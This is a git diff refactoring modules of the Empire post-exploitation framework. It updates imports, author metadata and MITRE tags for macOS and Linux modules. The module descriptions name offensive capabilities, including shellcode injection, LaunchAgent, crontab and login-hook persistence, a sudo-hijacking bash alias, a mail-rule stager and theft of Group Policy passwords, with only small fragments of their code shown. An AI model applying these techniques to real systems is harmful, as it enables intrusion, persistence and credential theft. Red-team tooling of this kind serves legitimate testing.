- T1050
background: true
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: true
language: python
min_language_version: '3'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to execute module on.
@@ -22,9 +25,8 @@ options:
required: true
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/management/osx/screen_sharing.yaml b/empire/server/modules/python/management/osx/screen_sharing.yaml
index 44e73aef7..5978238f2 100644
--- a/empire/server/modules/python/management/osx/screen_sharing.yaml
+++ b/empire/server/modules/python/management/osx/screen_sharing.yaml
@@ -1,8 +1,11 @@
name: ScreenSharing
authors:
- - '@n00py'
+ - name: ''
+ handle: '@n00py'
+ link: https://twitter.com/n00py1
description: Enables ScreenSharing to allow you to connect to the host via VNC.
software: ''
+tactics: []
techniques:
- T1021
background: false
diff --git a/empire/server/modules/python/management/osx/shellcodeinject64.py b/empire/server/modules/python/management/osx/shellcodeinject64.py
index a0a7f532e..06554cbe3 100644
--- a/empire/server/modules/python/management/osx/shellcodeinject64.py
+++ b/empire/server/modules/python/management/osx/shellcodeinject64.py
@@ -5,7 +5,7 @@
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -13,12 +13,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
processID = params["PID"]
shellcodeBinPath = params["Shellcode"]
diff --git a/empire/server/modules/python/management/osx/shellcodeinject64.yaml b/empire/server/modules/python/management/osx/shellcodeinject64.yaml
index eb9362023..7c95bdb62 100644
--- a/empire/server/modules/python/management/osx/shellcodeinject64.yaml
+++ b/empire/server/modules/python/management/osx/shellcodeinject64.yaml
@@ -1,11 +1,21 @@
name: Shellcode Inject x64
authors:
- - '@xorrior'
- - '@midnite_runr'
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+ - name: ''
+ handle: '@midnite_runr'
+ link: ''
description: Inject shellcode into a x64 bit process
software: ''
+tactics:
+ - TA0002
+ - TA0005
+ - TA0004
techniques:
- - T1064
+ - T1059
+ - T1055
+ - T1055.001
background: false
output_extension:
needs_admin: true
@@ -29,4 +39,4 @@ options:
required: true
value: ''
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/persistence/multi/crontab.yaml b/empire/server/modules/python/persistence/multi/crontab.yaml
index 8fd7cf634..596a91b77 100644
--- a/empire/server/modules/python/persistence/multi/crontab.yaml
+++ b/empire/server/modules/python/persistence/multi/crontab.yaml
@@ -1,8 +1,11 @@
name: Persistence with crontab
authors:
- - '@Cx01N'
-description: This module establishes persistence via crontab.
+ - name: ''
+ handle: '@Cx01N'
+ link: ''
+description: This module establishes persistence via crontab
software: ''
+tactics: []
techniques:
- T1168
background: false
@@ -34,7 +37,7 @@ options:
- 'True'
- 'False'
strict: true
-script: |
+script: |-
import subprocess
command = "{{Command}}"
diff --git a/empire/server/modules/python/persistence/multi/desktopfile.py b/empire/server/modules/python/persistence/multi/desktopfile.py
index b172b82c6..eef020904 100644
--- a/empire/server/modules/python/persistence/multi/desktopfile.py
+++ b/empire/server/modules/python/persistence/multi/desktopfile.py
@@ -3,14 +3,14 @@
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
diff --git a/empire/server/modules/python/persistence/multi/desktopfile.yaml b/empire/server/modules/python/persistence/multi/desktopfile.yaml
index 3ffd369e6..63c053bcc 100644
--- a/empire/server/modules/python/persistence/multi/desktopfile.yaml
+++ b/empire/server/modules/python/persistence/multi/desktopfile.yaml
@@ -1,9 +1,11 @@
name: DesktopFile
authors:
- - '@jarrodcoulter'
-description: Installs an Empire launcher script in ~/.config/autostart on Linux versions
- with GUI.
+ - name: ''
+ handle: '@jarrodcoulter'
+ link: ''
+description: Installs an Empire launcher script in ~/.config/autostart on Linux versions with GUI.
software: ''
+tactics: []
techniques:
- T1165
background: false
@@ -29,9 +31,8 @@ options:
required: false
value: ''
- name: FileName
- description: File name without extension that you would like created in ~/.config/autostart/
- folder.
+ description: File name without extension that you would like created in ~/.config/autostart/ folder.
required: false
value: sec_start
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/persistence/osx/CreateHijacker.py b/empire/server/modules/python/persistence/osx/CreateHijacker.py
index e97b0e2c2..c6fb29585 100644
--- a/empire/server/modules/python/persistence/osx/CreateHijacker.py
+++ b/empire/server/modules/python/persistence/osx/CreateHijacker.py
@@ -2,19 +2,18 @@
from builtins import object
from typing import Dict, Optional, Tuple
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
) -> Tuple[Optional[str], Optional[str]]:
-
# the Python script itself, with the command to invoke
# for execution appended to the end. Scripts should output
# everything to the pipeline for proper parsing.
diff --git a/empire/server/modules/python/persistence/osx/CreateHijacker.yaml b/empire/server/modules/python/persistence/osx/CreateHijacker.yaml
index f255ea4b2..a5b58cea5 100644
--- a/empire/server/modules/python/persistence/osx/CreateHijacker.yaml
+++ b/empire/server/modules/python/persistence/osx/CreateHijacker.yaml
@@ -1,11 +1,15 @@
name: CreateDylibHijacker
authors:
- - '@patrickwardle,@xorrior'
-description: Configures and Empire dylib for use in a Dylib hijack, given the path
- to a legitimate dylib of a vulnerable application. The architecture of the dylib
- must match the target application. The configured dylib will be copied local to
- the hijackerPath
+ - name: ''
+ handle: '@patrickwardle'
+ link: ''
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+description: Configures and Empire dylib for use in a Dylib hijack, given the path to a legitimate dylib of a vulnerable application.
+ The architecture of the dylib must match the target application. The configured dylib will be copied local to the hijackerPath
software: ''
+tactics: []
techniques:
- T1157
background: false
@@ -31,13 +35,11 @@ options:
required: true
value: x86
- name: SafeChecks
- description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process
- if true. Defaults to True.
+ description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
required: true
value: 'True'
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: LegitimateDylibPath
@@ -45,9 +47,8 @@ options:
required: true
value: ''
- name: VulnerableRPATH
- description: Full path to where the hijacker should be planted. This will be the
- RPATH in the Hijack Scanner module.
+ description: Full path to where the hijacker should be planted. This will be the RPATH in the Hijack Scanner module.
required: true
value: ''
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/persistence/osx/LaunchAgent.py b/empire/server/modules/python/persistence/osx/LaunchAgent.py
index ee873c3fb..b023efa84 100644
--- a/empire/server/modules/python/persistence/osx/LaunchAgent.py
+++ b/empire/server/modules/python/persistence/osx/LaunchAgent.py
@@ -1,19 +1,18 @@
import base64
from typing import Dict, Optional, Tuple
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
) -> Tuple[Optional[str], Optional[str]]:
-
daemon_name = params["DaemonName"]
program_name = daemon_name.split(".")[-1]
plist_filename = "%s.plist" % daemon_name
diff --git a/empire/server/modules/python/persistence/osx/LaunchAgent.yaml b/empire/server/modules/python/persistence/osx/LaunchAgent.yaml
index 851c07146..1fa0fbd3d 100644
--- a/empire/server/modules/python/persistence/osx/LaunchAgent.yaml
+++ b/empire/server/modules/python/persistence/osx/LaunchAgent.yaml
@@ -1,8 +1,11 @@
name: LaunchAgent
authors:
- - '@xorrior'
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
description: Installs an Empire Launch Agent.
software: ''
+tactics: []
techniques:
- T1055
background: false
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: false
language: python
min_language_version: '2.6'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to execute module on.
@@ -22,19 +25,16 @@ options:
required: true
value: ''
- name: SafeChecks
- description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process
- if true. Defaults to True.
+ description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
required: true
value: 'True'
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: DaemonName
- description: Name of the Launch Daemon to install. Name will also be used for the
- plist file.
+ description: Name of the Launch Daemon to install. Name will also be used for the plist file.
required: true
value: com.proxy.initialize
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py
index 555650495..1794323cf 100644
--- a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py
+++ b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py
@@ -1,22 +1,19 @@
from builtins import object
from typing import Dict, Optional, Tuple
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
) -> Tuple[Optional[str], Optional[str]]:
-
plist_name = params["PLISTName"]
- programname = "~/Library/LaunchAgents"
- plistfilename = "%s.plist" % plist_name
listener_name = params["Listener"]
user_agent = params["UserAgent"]
safe_checks = params["SafeChecks"]
diff --git a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml
index b68705842..eeaf5e607 100644
--- a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml
+++ b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml
@@ -1,9 +1,14 @@
name: LaunchAgent - UserLand Persistence
authors:
- - '@xorrior'
- - '@n0pe_sled'
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+ - name: ''
+ handle: '@n0pe_sled'
+ link: ''
description: Installs an Empire launchAgent.
software: ''
+tactics: []
techniques:
- T1055
background: false
@@ -12,7 +17,7 @@ needs_admin: false
opsec_safe: false
language: python
min_language_version: '2.6'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to execute module on.
@@ -23,19 +28,16 @@ options:
required: true
value: ''
- name: SafeChecks
- description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process
- if true. Defaults to True.
+ description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
required: true
value: 'True'
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: PLISTName
- description: Name of the PLIST to install. Name will also be used for the plist
- file.
+ description: Name of the PLIST to install. Name will also be used for the plist file.
required: true
value: com.proxy.initialize.plist
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/persistence/osx/RemoveLaunchAgent.yaml b/empire/server/modules/python/persistence/osx/RemoveLaunchAgent.yaml
index 6864121ba..7ab20f782 100644
--- a/empire/server/modules/python/persistence/osx/RemoveLaunchAgent.yaml
+++ b/empire/server/modules/python/persistence/osx/RemoveLaunchAgent.yaml
@@ -1,8 +1,11 @@
name: RemoveLaunchDaemon
authors:
- - '@xorrior'
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
description: Remove an Empire Launch Daemon.
software: ''
+tactics: []
techniques:
- T1055
background: false
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: true
language: python
min_language_version: '2.6'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to execute module on.
@@ -25,7 +28,7 @@ options:
description: Full path to the bash script/ binary file to remove.
required: true
value: ''
-script: |
+script: |-
import subprocess
process = subprocess.Popen('launchctl unload {{ PlistPath }}', stdout=subprocess.PIPE, shell=True)
@@ -38,4 +41,4 @@ script: |
process.communicate()
print("\\n [+] {{ PlistPath }} has been removed")
- print("\\n [+] {{ ProgramPath }} has been removed")
\ No newline at end of file
+ print("\\n [+] {{ ProgramPath }} has been removed")
diff --git a/empire/server/modules/python/persistence/osx/loginhook.py b/empire/server/modules/python/persistence/osx/loginhook.py
index 1dac00e21..8a1931be7 100644
--- a/empire/server/modules/python/persistence/osx/loginhook.py
+++ b/empire/server/modules/python/persistence/osx/loginhook.py
@@ -1,19 +1,18 @@
from builtins import object
from typing import Dict, Optional, Tuple
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
) -> Tuple[Optional[str], Optional[str]]:
-
loginhook_script_path = params["LoginHookScript"]
password = params["Password"]
password = password.replace("$", "\$")
diff --git a/empire/server/modules/python/persistence/osx/loginhook.yaml b/empire/server/modules/python/persistence/osx/loginhook.yaml
index fae52200f..a4549d9dd 100644
--- a/empire/server/modules/python/persistence/osx/loginhook.yaml
+++ b/empire/server/modules/python/persistence/osx/loginhook.yaml
@@ -1,8 +1,11 @@
name: LoginHook
authors:
- - '@Killswitch-GUI'
+ - name: ''
+ handle: '@Killswitch-GUI'
+ link: ''
description: Installs Empire agent via LoginHook.
software: ''
+tactics: []
techniques:
- T1037
background: false
@@ -27,4 +30,4 @@ options:
required: true
value: /Users/Username/Desktop/kill-me.sh
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/persistence/osx/mail.py b/empire/server/modules/python/persistence/osx/mail.py
index 364d3ed38..eb7f9999a 100644
--- a/empire/server/modules/python/persistence/osx/mail.py
+++ b/empire/server/modules/python/persistence/osx/mail.py
@@ -4,19 +4,18 @@
from time import time
from typing import Dict, Optional, Tuple
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
) -> Tuple[Optional[str], Optional[str]]:
-
rule_name = params["RuleName"]
trigger = params["Trigger"]
listener_name = params["Listener"]
@@ -60,60 +59,60 @@ def UUID():
- AllCriteriaMustBeSatisfied
- NO
- AppleScript
- """
+ AllCriteriaMustBeSatisfied
+ NO
+ AppleScript
+ """
+ apple_script
+ """
- AutoResponseType
- 0
- Criteria
-
-
- CriterionUniqueId
- """
+ AutoResponseType
+ 0
+ Criteria
+
+
+ CriterionUniqueId
+ """
+ criterion_unique_id
+ """
- Expression
- """
+ Expression
+ """
+ str(trigger)
+ """
- Header
- Subject
-
-
- Deletes
- YES
- HighlightTextUsingColor
- NO
- MarkFlagged
- NO
- MarkRead
- NO
- NotifyUser
- NO
- RuleId
- """
+ Header
+ Subject
+
+
+ Deletes
+ YES
+ HighlightTextUsingColor
+ NO
+ MarkFlagged
+ NO
+ MarkRead
+ NO
+ NotifyUser
+ NO
+ RuleId
+ """
+ RuleId
+ """
- RuleName
- """
+ RuleName
+ """
+ str(rule_name)
+ """
- SendNotification
- NO
- ShouldCopyMessage
- NO
- ShouldTransferMessage
- NO
- TimeStamp
- """
+ SendNotification
+ NO
+ ShouldCopyMessage
+ NO
+ ShouldTransferMessage
+ NO
+ TimeStamp
+ """
+ time_stamp
+ """
- Version
- 1
-
+ Version
+ 1
+
"""
)
@@ -122,13 +121,13 @@ def UUID():
- """
+ """
+ RuleId
+ """
-
+
- """
+ """
)
script = """
import os
diff --git a/empire/server/modules/python/persistence/osx/mail.yaml b/empire/server/modules/python/persistence/osx/mail.yaml
index 0da967db1..a693a90e4 100644
--- a/empire/server/modules/python/persistence/osx/mail.yaml
+++ b/empire/server/modules/python/persistence/osx/mail.yaml
@@ -1,9 +1,12 @@
name: Mail
authors:
- - '@n00py'
-description: Installs a mail rule that will execute an AppleScript stager when a trigger
- word is present in the Subject of an incoming mail.
+ - name: ''
+ handle: '@n00py'
+ link: https://twitter.com/n00py1
+description: Installs a mail rule that will execute an AppleScript stager when a trigger word is present in the Subject of
+ an incoming mail.
software: ''
+tactics: []
techniques:
- T1155
background: false
@@ -24,13 +27,11 @@ options:
required: true
value: ''
- name: SafeChecks
- description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process
- if true. Defaults to True.
+ description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
required: true
value: 'True'
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: RuleName
@@ -42,4 +43,4 @@ options:
required: true
value: ''
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/privesc/linux/linux_priv_checker.yaml b/empire/server/modules/python/privesc/linux/linux_priv_checker.yaml
index e908aa9f3..fe6523182 100644
--- a/empire/server/modules/python/privesc/linux/linux_priv_checker.yaml
+++ b/empire/server/modules/python/privesc/linux/linux_priv_checker.yaml
@@ -1,10 +1,15 @@
name: LinuxPrivChecker
authors:
- - '@sleventyeleven'
- - '@Cx01N'
-description: This script is intended to be executed locally ona Linux box to enumerate
- basic system info, and search for common privilege escalation vectors with pure python.
+ - name: ''
+ handle: '@sleventyeleven'
+ link: ''
+ - name: ''
+ handle: '@Cx01N'
+ link: ''
+description: This script is intended to be executed locally ona Linux box to enumerate basic system info, and search for commonprivilege
+ escalation vectors with pure python.
software: ''
+tactics: []
techniques:
- T1166
background: true
diff --git a/empire/server/modules/python/privesc/linux/unix_privesc_check.yaml b/empire/server/modules/python/privesc/linux/unix_privesc_check.yaml
index 17342e900..4cc3795c0 100644
--- a/empire/server/modules/python/privesc/linux/unix_privesc_check.yaml
+++ b/empire/server/modules/python/privesc/linux/unix_privesc_check.yaml
@@ -1,11 +1,15 @@
name: Unix-Privesc-Check
authors:
- - '@Killswitch_GUI'
- - '@pentestmonkey'
-description: This script is intended to be executed locally ona Linux box to enumerate
- basic system info, and search for commonprivilege escalation vectors with a all
- in one shell script.
+ - name: ''
+ handle: '@Killswitch_GUI'
+ link: ''
+ - name: ''
+ handle: '@pentestmonkey'
+ link: ''
+description: This script is intended to be executed locally ona Linux box to enumerate basic system info, and search for commonprivilege
+ escalation vectors with a all in one shell script.
software: ''
+tactics: []
techniques:
- T1166
background: false
@@ -34,15 +38,14 @@ options:
required: true
value: '8089'
- name: URL
- description: 'http://:/'
+ description: http://:/
required: true
value: ''
- name: ServeCount
- description: Value to set GET request count of webserver (Can be helpful if multiple
- agents, only host webserver once).
+ description: Value to set GET request count of webserver (Can be helpful if multiple agents, only host webserver once).
required: true
value: '1'
-script: |
+script: |-
import subprocess
import sys
import binascii
@@ -1525,4 +1528,4 @@ script: |
result = result[0].strip()
print(result)
except Exception as e:
- print(e)
\ No newline at end of file
+ print(e)
diff --git a/empire/server/modules/python/privesc/multi/bashdoor.py b/empire/server/modules/python/privesc/multi/bashdoor.py
index 8a9474ee7..4b461c264 100644
--- a/empire/server/modules/python/privesc/multi/bashdoor.py
+++ b/empire/server/modules/python/privesc/multi/bashdoor.py
@@ -3,19 +3,18 @@
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# extract all of our options
listenerName = params["Listener"]
userAgent = params["UserAgent"]
diff --git a/empire/server/modules/python/privesc/multi/bashdoor.yaml b/empire/server/modules/python/privesc/multi/bashdoor.yaml
index 643bb2461..987b76e9f 100644
--- a/empire/server/modules/python/privesc/multi/bashdoor.yaml
+++ b/empire/server/modules/python/privesc/multi/bashdoor.yaml
@@ -1,9 +1,12 @@
name: bashdoor
authors:
- - '@n00py'
-description: Creates an alias in the .bash_profile to cause the sudo command to execute
- a stager and pass through the origional command back to sudo
+ - name: ''
+ handle: '@n00py'
+ link: https://twitter.com/n00py1
+description: Creates an alias in the .bash_profile to cause the sudo command to execute a stager and pass through the origional
+ command back to sudo
software: ''
+tactics: []
techniques:
- T1156
background: true
@@ -12,15 +15,14 @@ needs_admin: false
opsec_safe: false
language: python
min_language_version: '3'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to execute module on.
required: true
value: ''
- name: SafeChecks
- description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process
- if true. Defaults to True.
+ description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
required: true
value: 'True'
- name: Listener
@@ -28,9 +30,8 @@ options:
required: true
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/privesc/multi/sudo_spawn.py b/empire/server/modules/python/privesc/multi/sudo_spawn.py
index 4454fd04b..660435066 100644
--- a/empire/server/modules/python/privesc/multi/sudo_spawn.py
+++ b/empire/server/modules/python/privesc/multi/sudo_spawn.py
@@ -3,7 +3,7 @@
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -11,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# extract all of our options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
@@ -33,7 +32,6 @@ def generate(
if launcher == "":
return handle_error_message("[!] Error in launcher command generation.")
else:
-
password = params["Password"]
launcher = launcher.replace('"', '\\"')
diff --git a/empire/server/modules/python/privesc/multi/sudo_spawn.yaml b/empire/server/modules/python/privesc/multi/sudo_spawn.yaml
index 211d72f1e..d000eb0b7 100644
--- a/empire/server/modules/python/privesc/multi/sudo_spawn.yaml
+++ b/empire/server/modules/python/privesc/multi/sudo_spawn.yaml
@@ -1,8 +1,11 @@
name: SudoSpawn
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Spawns a new Empire agent using sudo.
software: T1169
+tactics: []
techniques:
- T1050
background: true
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: true
language: python
min_language_version: '3'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to execute module on.
@@ -30,9 +33,8 @@ options:
required: true
value: 'True'
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/privesc/osx/dyld_print_to_file.py b/empire/server/modules/python/privesc/osx/dyld_print_to_file.py
index b25da3895..9f4f84a43 100644
--- a/empire/server/modules/python/privesc/osx/dyld_print_to_file.py
+++ b/empire/server/modules/python/privesc/osx/dyld_print_to_file.py
@@ -1,22 +1,23 @@
from __future__ import print_function
+import logging
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
+
+log = logging.getLogger(__name__)
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# the Python script itself, with the command to invoke
# for execution appended to the end. Scripts should output
# everything to the pipeline for proper parsing.
@@ -34,7 +35,7 @@ def generate(
safeChecks=safe_checks,
)
if launcher == "":
- print(helpers.color("[!] Error in launcher generation"))
+ log.error("Error in launcher generation")
launcher = launcher.replace('"', '\\"')
fullPath = params["WriteablePath"] + params["FileName"]
fileName = params["FileName"]
diff --git a/empire/server/modules/python/privesc/osx/dyld_print_to_file.yaml b/empire/server/modules/python/privesc/osx/dyld_print_to_file.yaml
index 17df10c10..f66b2a072 100644
--- a/empire/server/modules/python/privesc/osx/dyld_print_to_file.yaml
+++ b/empire/server/modules/python/privesc/osx/dyld_print_to_file.yaml
@@ -1,12 +1,13 @@
name: Mac OSX Yosemite DYLD_PRINT_TO_FILE Privilege Escalation
authors:
- - '@checky_funtime'
-description: 'This modules takes advantage of the environment variable DYLD_PRINT_TO_FILE
- in order to escalate privileges on all versions Mac OS X YosemiteWARNING: In order
- for this exploit to be performed files will be overwritten and deleted. This can
- set off endpoint protection systems and as of initial development, minimal testing
- has been performed.'
+ - name: ''
+ handle: '@checky_funtime'
+ link: ''
+description: 'This modules takes advantage of the environment variable DYLD_PRINT_TO_FILE in order to escalate privileges
+ on all versions Mac OS X YosemiteWARNING: In order for this exploit to be performed files will be overwritten and deleted.
+ This can set off endpoint protection systems and as of initial development, minimal testing has been performed.'
software: ''
+tactics: []
techniques:
- TA0004
background: false
@@ -33,13 +34,11 @@ options:
required: true
value: ''
- name: SafeChecks
- description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process
- if true. Defaults to True.
+ description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
required: true
value: 'True'
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: WriteablePath
@@ -47,4 +46,4 @@ options:
required: true
value: /tmp/
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/privesc/osx/piggyback.py b/empire/server/modules/python/privesc/osx/piggyback.py
index fb838d379..a442c896e 100644
--- a/empire/server/modules/python/privesc/osx/piggyback.py
+++ b/empire/server/modules/python/privesc/osx/piggyback.py
@@ -3,7 +3,7 @@
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -11,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# extract all of our options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
diff --git a/empire/server/modules/python/privesc/osx/piggyback.yaml b/empire/server/modules/python/privesc/osx/piggyback.yaml
index e4dce18f6..84af54233 100644
--- a/empire/server/modules/python/privesc/osx/piggyback.yaml
+++ b/empire/server/modules/python/privesc/osx/piggyback.yaml
@@ -1,9 +1,11 @@
name: SudoPiggyback
authors:
- - '@n00py'
-description: Spawns a new Empire agent using an existing sudo session. This works
- up until El Capitan.
+ - name: ''
+ handle: '@n00py'
+ link: https://twitter.com/n00py1
+description: Spawns a new Empire agent using an existing sudo session. This works up until El Capitan.
software: T1169
+tactics: []
techniques:
- T1050
background: false
@@ -24,14 +26,12 @@ options:
required: true
value: ''
- name: SafeChecks
- description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process
- if true. Defaults to True.
+ description: Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
required: true
value: 'True'
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/privesc/windows/get_gpppasswords.yaml b/empire/server/modules/python/privesc/windows/get_gpppasswords.yaml
index c72ee0ae3..c5bcc3785 100644
--- a/empire/server/modules/python/privesc/windows/get_gpppasswords.yaml
+++ b/empire/server/modules/python/privesc/windows/get_gpppasswords.yaml
@@ -1,9 +1,11 @@
name: Get Group Policy Preferences
authors:
- - '@424f424f'
-description: This module will attempt to pull group policy preference passwords from
- SYSVOL
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
+description: This module will attempt to pull group policy preference passwords from SYSVOL
software: ''
+tactics: []
techniques:
- T1003
background: false
@@ -31,7 +33,7 @@ options:
description: Password to connect to LDAP
required: false
value: ''
-script: |
+script: |-
import sys, os, subprocess, re
BindDN = "{{ BindDN }}"
@@ -75,4 +77,4 @@ script: |
print("")
print(subprocess.Popen('diskutil unmount force /Volumes/sysvol/', shell=True, stdout=subprocess.PIPE).stdout.read())
print("")
- print("Finished")
\ No newline at end of file
+ print("Finished")
diff --git a/empire/server/modules/python/situational_awareness/host/multi/SuidGuidSearch.yaml b/empire/server/modules/python/situational_awareness/host/multi/SuidGuidSearch.yaml
index e16221a57..f4b55755c 100644
--- a/empire/server/modules/python/situational_awareness/host/multi/SuidGuidSearch.yaml
+++ b/empire/server/modules/python/situational_awareness/host/multi/SuidGuidSearch.yaml
@@ -1,8 +1,11 @@
name: Search for world writeable files
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module can be used to identify suid or guid bit set on files.
software: ''
+tactics: []
techniques:
- T1426
background: true
@@ -22,8 +25,8 @@ options:
description: 'Path to start the search from. Default is / '
required: true
value: /
-script: |
+script: |-
import os
import subprocess
